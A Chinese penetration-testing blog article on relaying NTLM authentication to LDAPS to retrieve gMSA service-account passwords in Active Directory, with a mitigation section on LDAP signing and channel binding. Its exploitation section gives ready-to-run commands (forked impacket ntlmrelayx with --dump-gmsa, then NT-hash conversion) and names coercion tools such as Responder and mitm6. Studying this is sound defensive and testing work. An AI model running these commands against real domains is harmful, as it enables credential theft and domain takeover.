gMSA的NTLM到LDAP和LDAPS中继攻击:启用LDAP签名和LDAP通道绑定,不为多余账户提供服务帐户权限或特殊权限
摘要:gMSA帐户会将其密码存储在名为“ msDS-ManagedPassword”的LDAP属性中,DC将每隔30天自动重置此值,授权管理员和安装它们的服务器可以检索这些值。
gMSA帐户会将其密码存储在名为“ msDS-ManagedPassword”的LDAP属性中,DC将每隔30天自动重置此值,授权管理员和安装它们的服务器可以检索这些值。gMSA,英文名称为“Group Managed Service Accounts”,它是Active Directory AD中的组托管服务帐户。msDS-ManagedPassword是一个名为“ MSDS-MANAGEDPASSWORD_BLO
B”的加密数据块,并且仅在安全连接(LDAPS或身份验证类型为‘Sealing&Secure’)才可以被检索到。
以前对gMSA并不了解很多,但是在观看了Wald0和CptJesus举办的Bloodhound 3.0网络研讨会后,对gMSA有了新的认识,并且本次研讨会主要讨论了为什么gMSA应该成为渗透测试的重点。
经过分析,我们了解到,通常,除授权管理员外,目标设备上可能还会有更多的用户帐户被授予读取gMSA密码的权限,并且gMSA帐户通常也被授予管理员权限。有时甚至可以被授予域管理权限。
那么我们应该如何利用这个安全问题呢? 我们如何收集那些特权帐户的密码?
因为当前社区有许多技术可以帮助我们生成传入的NTLM身份验证连接,所以这种身份验证密码存储在LDAP属性中。 最好的解决方案是从ntlmrelayx中的LDAP属性msDS-ManagedPassword检索密码。
与LDAP的中继链接
要通过NTLM中继实现与LDAP的连接,我们必须确保中继的身份验证连接使用HTTP协议。 由于连接需要签名数据位,因此我们无法中继SMB身份验证连接,但是漏洞CVE-2019-1040可以帮助我们绕过NTLM签名保护机制,因此我们可以实现中继SMB-> LDAP。
NTLM中继过程如下:
1.目标发送NTLM_NEGOTIATE数据包给攻击者。
2.接下来,攻击者将NTLM_NEGOTIATE数据包中继到选定的目标服务器。
3.目标服务器向攻击者发送响应消息,其中包含NTLM_CHALLENGE数据包。
4.攻击者将NTLM_CHALLENGE数据包中继到目标。
5.目标向攻击者发送响应消息,其中包含NTLM_AUTHENTICATE数据包。
6.攻击者将NTLM_AUTHENTICATE数据包中继到目标服务器。
7.攻击者现在将成功与目标服务器建立经过身份验证的会话连接。
没有在ntlmrelayx中成功实现“Sealing&Secure”身份验证。现在,我们必须中继到LDAPS,并且LDAPS仅是通过SSL实现的LDAP。默认情况下,Active Directory AD安装没有此配置,因为没有可用的默认证书。
配置gMSA
# Create a KDS Root Key on DC
Add-KdsRootKey -EffectiveTime (Get-Date).AddHours(-10)
# Create a new gMSA on DC
New-ADServiceAccount -Name svc_msa -DNSHostName dc.htb.local -ManagedPasswordIntervalInDays 30 -PrincipalsAllowedToRetrieveManagedPassword msa_read,dc$
#Install gMSA on the target server
Install-WindowsFeature AD-DOMAIN-SERVICES
Install-AdServiceAccount svc_msa
漏洞利用
首先,我们必须为中继生成一个NTLM身份验证请求。我们可以通过以下方式进行操作,例如:
1.ADIDNS通配符记录
2.Responder
3.WPAD + Mitm6
4.使用易受攻击的服务器创建HTTP身份验证请求
接下来,使用以下命令将我的代码库克隆到本地主机,安装impacket,打开ntlmrelayx,然后选择您想要的生成NTLM身份验证流量的方法:
git clone https://github.com/cube0x0/impacket
cd impacket
python setup.py install
python ./examples/ntlmrelayx.py --dump-gmsa --no-dump --no-da --no-acl --no-validate-privs -debug -t ldaps://10.0.0.5
然后,使用DSInternals模块转换数据块。由于密码是以随机的Unicode字符存储的,因此我们还需要将明文密码转换为R **格式:
(ConvertFrom-ADManagedPasswordBlob <blob>).SecureCurrentPassword | ConvertTo-NTHash
缓解方法
通过启用LDAP签名和LDAP通道绑定,可以防止NTLM到LDAP和LDAPS中继攻击。此外,请勿为冗余帐户提供服务帐户权限或特殊权限。每个组织都应遵循最低特权特权实践。
相关热词搜索:gMSA NTLM LDAP LDAPS 中继攻击 LDAP签名 LDAP通道绑定 帐户权限 重庆网络安全公司
上一篇:微软发布KB4551762安全更新:Windows 10(SMBv3) 预授权RCE漏洞CVE-2020-0796
下一篇:CVE-2019-20099跨站点请求伪造漏洞(CSRF)发现过程:Jira,连接到任何内部主机,执行内部主机和端口的扫描和检测
人机验证(Captcha)绕过方法:使用Chrome开发者工具在目标网站登录页面上执行简单的元素编辑,以实现Captcha绕过
牛创网络: " 人机身份验证(Captcha)通常显示在网站的注册,登录名和密码重置页面上。 以下是目标网站在登录页面中排列的验证码机制。 从上图可以
2020-01-26 12:44:09 )8872( 亮了
自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
牛创网络: "自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
2020-01-30 14:04:47 )6288( 亮了
Grafana CVE-2020-13379漏洞分析:重定向和URL参数注入漏洞的综合利用可以在任何Grafana产品实例中实现未经授权的服务器端请求伪造攻击SSRF
牛创网络: "在Grafana产品实例中,综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击(SSRF)。该漏洞影响Grafana 3 0 1至7 0 1版本。
2020-08-12 14:26:44 )4301( 亮了
Nginx反向代理配置及反向代理泛目录,目录,全站方法
牛创网络: "使用nginx代理dan(sui)是http响应消息写入服务地址或Web绝对路径的情况。 写一个死的服务地址是很少见的,但它偶尔也会发生。 最棘手的是写入web绝对路径,特别是如果绝对路径没有公共前缀
2019-06-17 10:08:58 )3858( 亮了
fortify sca自定义代码安全扫描工具扫描规则(源代码编写、规则定义和扫描结果展示)
牛创网络: "一般安全问题(例如代码注入漏洞),当前fortify sca规则具有很多误报,可通过规则优化来减少误报。自带的扫描规则不能检测到这些问题。 需要自定义扫描规则,合规性角度展示安全风险。
2020-02-12 10:49:07 )3505( 亮了
整理几款2020年流行的漏洞扫描工具
牛创网络: "漏洞扫描器就是确保可以及时准确地检测信息平台基础架构的安全性,确保业务的平稳发展,业务的高效快速发展以及公司,企业和国家 地区的所有信息资产的维护安全。
2020-08-05 14:36:26 )2536( 亮了
微擎安装使用技巧-微擎安装的时候页面显示空白是怎么回事?
牛创网络: "我们在公众号开发中,有时候会用到微擎,那我们来看一下微擎安装的时候页面显示空白是怎么回事吧
2019-06-08 15:34:16 )2261( 亮了
渗透测试:利用前端断点拦截和JS脚本替换对前端加密数据的修改
牛创网络: " 本文介绍的两种方法,虽然断点调试比JS脚本代码替换更容易,但是JS脚本代码替换方法可以实现更强大的功能,测试人员可以根据实际需要选择适当的测试方法
2020-01-07 09:34:42 )1995( 亮了
从工业界到学界盘点SAS与R优缺点比较
牛创网络: "虽然它在业界仍然由SAS主导,但R在学术界广泛使用,因为它的免费开源属性允许用户编写和共享他们自己的应用程序 然而,由于缺乏SAS经验,许多获得数据分析学位的学生很难找到工作。
2019-07-13 22:25:29 )1842( 亮了
41款APP侵犯用户隐私权:QQ,小米,搜狐,新浪,人人均被通报
牛创网络: "随着互联网的不断发展,我们进入了一个时代,每个人都离不开手机。 但是,APP越来越侵犯了用户隐私权。12月19日,工业和信息化部发布了《关于侵犯用户权益的APP(第一批)》的通知。
2019-12-20 11:28:14 )1775( 亮了